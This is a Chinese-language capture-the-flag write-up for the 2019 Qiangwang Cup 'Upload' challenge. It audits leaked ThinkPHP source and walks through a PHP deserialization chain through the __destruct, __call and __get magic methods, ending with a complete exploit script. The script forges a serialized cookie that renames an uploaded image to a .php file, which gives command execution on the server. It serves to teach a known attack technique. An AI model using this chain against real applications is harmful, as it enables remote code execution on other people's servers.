[強網杯 2019]Upload
有個註冊登入介面,先註冊進去看看
發現是一個檔案上傳頁面
掃一下看看有沒有原始碼洩露
發現有/www.tar.gz
下載下來看看
接下來就是程式碼審計了
主要檔案是:Index.php、Profile.php、Login.php、Register.php
而且用phpstorm開啟會發現在index.php和Register.php中各有一個斷點,應該是提示
這裡的login_check函式會反序列化我們傳入的user(cookie)
而下面檢測到未登入就會呼叫$->checker->index(),這裡可以令checker=0繞過
<?php namespace app\web\controller;use think\Controller; class Profile extends Controller { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __construct() { $this->checker=new Index(); $this->upload_menu=md5($_SERVER['REMOTE_ADDR']); @chdir("../public/upload"); if(!is_dir($this->upload_menu)){ @mkdir($this->upload_menu); } @chdir($this->upload_menu); } public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } public function update_img(){ $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find(); if(empty($user_info['img']) && $this->img){ if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){ $this->update_cookie(); $this->success('Upload img successful!', url('../home')); }else{ $this->error('Upload file failed!', url('../index')); } } } public function update_cookie(){ $this->checker->profile['img']=$this->img; cookie("user",base64_encode(serialize($this->checker->profile)),3600); } public function ext_check(){ $ext_arr=explode(".",$this->filename); $this->ext=end($ext_arr); if($this->ext=="png"){ return 1; }else{ return 0; } } public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } } }
這裡會被直接加上png的字尾
這裡是關鍵點
這個可以使ext=1,來進入,同時,這一步會將檔案複製給filename
,相當於重新命名,最後執行update_img()
那麼如何通過反序列化來呼叫update_img呢
這裡有兩個魔術方法
public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
當物件呼叫不可訪問屬性時,就會自動觸發get魔法方法,而在物件呼叫不可訪問函式時,就會自動觸發call魔法方法。
再看回Register.php
有個__destruct()魔術方法,上面這兩輸出可控,我們可以讓checker這個屬性為Profile類
然後就會呼叫Profile類裡的index()函式,那麼就會觸發__call魔術方法
public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
checker呼叫了類Index裡的方法index(),如果我們此時將checker的construct覆蓋為類Profile,那麼勢必在呼叫index()方法時,會觸發call函式
而進入這個函式後,就能出發$this->index,呼叫了profile類中不存在的物件,就可以觸發_get魔術方法
再設定except[’index‘] 為 upload_img的話,就可以成功觸發了upload_img
這時候再得到檔案的上傳路徑就可以了
bp抓包得到cookie
解碼
就可以構造exp了
<?php namespace app\web\controller; class Register{ public $checker; public $registed =0; } class Profile{ public $checker =0 ; public $filename_tmp="./upload/cc551ab005b2e60fbdc88de809b2c4b1/4a47a0db6e60853dedfcfdf08a5ca249.png"; public $upload_menu; public $filename="./upload/cc551ab005b2e60fbdc88de809b2c4b1/1.php"; public $ext=1; public $img; public $except=array("index"=>"upload_img"); } $a=new Register(); $a->checker=new Profile(); $a->checker->checker = 0; echo base64_encode(serialize($a));
再修改一下網頁的cookie
重新整理一下再訪問就能訪問到改名的檔案,就能夠命令執行了
,